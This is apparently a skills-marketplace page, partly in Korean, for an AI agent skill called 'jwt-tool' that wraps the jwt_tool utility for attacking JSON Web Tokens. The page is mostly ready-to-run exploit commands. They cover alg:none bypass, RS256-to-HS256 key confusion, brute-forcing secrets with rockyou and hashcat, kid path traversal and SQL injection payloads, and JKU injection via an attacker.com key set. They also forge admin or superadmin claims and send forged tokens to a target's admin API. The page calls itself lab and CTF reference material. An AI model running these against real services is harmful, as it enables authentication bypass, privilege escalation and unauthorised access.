Codex 또는 Claude로 설치 이 Prompt를 복사해 Codex, Claude 또는 다른 어시스턴트에 붙여 넣으면 Skill 페이지를 검토하고 설치를 진행할 수 있습니다.
직접 명령은 검토 Prompt를 거치지 않습니다. 실행하기 전에 소스를 확인하세요.
npx skills add https://github.com/AeonDave/malskill --skill jwt-tool명령은 한 줄로 유지됩니다. 복사하기 전에 가로로 스크롤해 전체 내용을 확인하세요.
로컬 사본을 원하시나요? SkillsMP에서 현재 제공할 수 있는 파일을 다운로드하세요.
SOC 직업 분류 기준
SKILL.md 표시 중
| name | jwt-tool |
| description | Auth/lab ref: broad JWT testing and exploitation toolkit. |
| license | GNU GPL v3 |
| compatibility | Linux / macOS / Windows; Python 3. |
| metadata | {"author":"AeonDave","version":"1.0"} |
JWT testing suite — alg:none, algorithm confusion, KID injection, JKU/X5U, secret crack.
git clone https://github.com/ticarpi/jwt_tool
cd jwt_tool && pip3 install -r requirements.txt
TOKEN="eyJ..."
# Decode and inspect
python3 jwt_tool.py $TOKEN
# Run full automated playbook (test all vulns)
python3 jwt_tool.py $TOKEN -M pb
# Test alg:none
python3 jwt_tool.py $TOKEN -X a
# Brute force secret
python3 jwt_tool.py $TOKEN -C -d /usr/share/wordlists/rockyou.txt
# Algorithm confusion (RS256 → HS256)
python3 jwt_tool.py $TOKEN -X k -pk public.pem
# Interactive tamper (modify claims)
python3 jwt_tool.py $TOKEN -T
| Flag | Purpose |
|---|---|
TOKEN | JWT to analyze (positional) |
-M pb | Playbook mode — automated full audit |
-X <mode> | Exploit mode (see table) |
-C | Crack mode — brute force HMAC secret |
-d <file> | Wordlist for cracking |
-T | Interactive tamper mode |
-V | Verify signature |
-pk <file> | Private or public key file (.pem) |
-I | Injection mode (modify claims non-interactively) |
-hc <claim> | Header claim to modify |
-hv <value> | Header claim value |
-pc <claim> | Payload claim to modify |
-pv <value> | Payload claim value |
-S <alg> | Sign with algorithm: hs256 / rs256 / hs384 etc. |
-t <url> | Send forged token to target URL |
-rh <headers> | Request headers for -t |
-rc <cookies> | Request cookies for -t |
-cv <value> | Canary value — confirm exploitation success |
-X)| Mode | Flag | Attack |
|---|---|---|
a | -X a | alg:none — remove signature requirement |
k | -X k -pk pub.pem | Key confusion — RS256→HS256 with public key as HMAC secret |
s | -X s -ju URL | JKU injection — point to attacker-controlled JWKS |
n | -X n | Null signature — empty signature field |
python3 jwt_tool.py $TOKEN -M pb
# Tests all known attack types automatically
python3 jwt_tool.py $TOKEN -X a
# Also try: set role/admin claim before
python3 jwt_tool.py $TOKEN -X a -I -pc role -pv admin
# Need server's public key (from JWKS endpoint or certificate)
# Get from: https://target.com/.well-known/jwks.json
# Extract PEM with: python3 jwt_tool.py $TOKEN -X k
python3 jwt_tool.py $TOKEN -X k -pk public.pem
# Also escalate privilege:
python3 jwt_tool.py $TOKEN -X k -pk public.pem -I -pc admin -pv true
# Standard wordlist
python3 jwt_tool.py $TOKEN -C -d /usr/share/wordlists/rockyou.txt
# Custom small list (CTF)
python3 jwt_tool.py $TOKEN -C -d ctf_secrets.txt
# Fast alternative with hashcat (GPU)
# Extract: <header>.<payload>.<signature>
echo -n "$TOKEN" | hashcat -a 0 -m 16500 - wordlist.txt
# Path traversal (sign with /dev/null = empty key)
python3 jwt_tool.py $TOKEN -I -hc kid -hv "../../dev/null" -S hs256 -p ""
# Path traversal to known file
python3 jwt_tool.py $TOKEN -I -hc kid -hv "../../etc/passwd" -S hs256 -p "root:x:0:0:..."
# SQL injection in kid
python3 jwt_tool.py $TOKEN -I -hc kid -hv "none' UNION SELECT 'hacked'-- -" -S hs256 -p "hacked"
# Host malicious JWKS at https://attacker.com/.well-known/jwks.json
# jwt_tool auto-generates the JWKS and uses attacker key
python3 jwt_tool.py $TOKEN -X s -ju "https://attacker.com/.well-known/jwks.json"
# Interactive: shows each field, lets you edit
python3 jwt_tool.py $TOKEN -T
# Non-interactive: set specific claim
python3 jwt_tool.py $TOKEN -I -pc sub -pv admin
python3 jwt_tool.py $TOKEN -I -pc role -pv superadmin
python3 jwt_tool.py $TOKEN -I -pc is_admin -pv true
python3 jwt_tool.py $TOKEN -V -pk public.pem
# Test forged token directly
python3 jwt_tool.py $TOKEN -X a \
-t "https://target.com/api/admin" \
-rh "Authorization: Bearer TARGETJWT" \
-cv "admin panel" # confirm success if this string appears
# 1. alg:none
python3 jwt_tool.py $TOKEN -X a
# 2. Common secrets
python3 jwt_tool.py $TOKEN -C -d /usr/share/seclists/Passwords/Common-Credentials/10k-most-common.txt
# 3. Algorithm confusion (if RS256)
python3 jwt_tool.py $TOKEN -X k
# 4. Tamper claims
python3 jwt_tool.py $TOKEN -T
# 5. kid path traversal
python3 jwt_tool.py $TOKEN -I -hc kid -hv "../../dev/null" -S hs256 -p ""
# 6. Full playbook
python3 jwt_tool.py $TOKEN -M pb
| File | When to load |
|---|---|
references/jwt-attacks.md | Algorithm confusion deep-dive, KID SQLi, JKU server setup, claim escalation patterns, CTF tricks |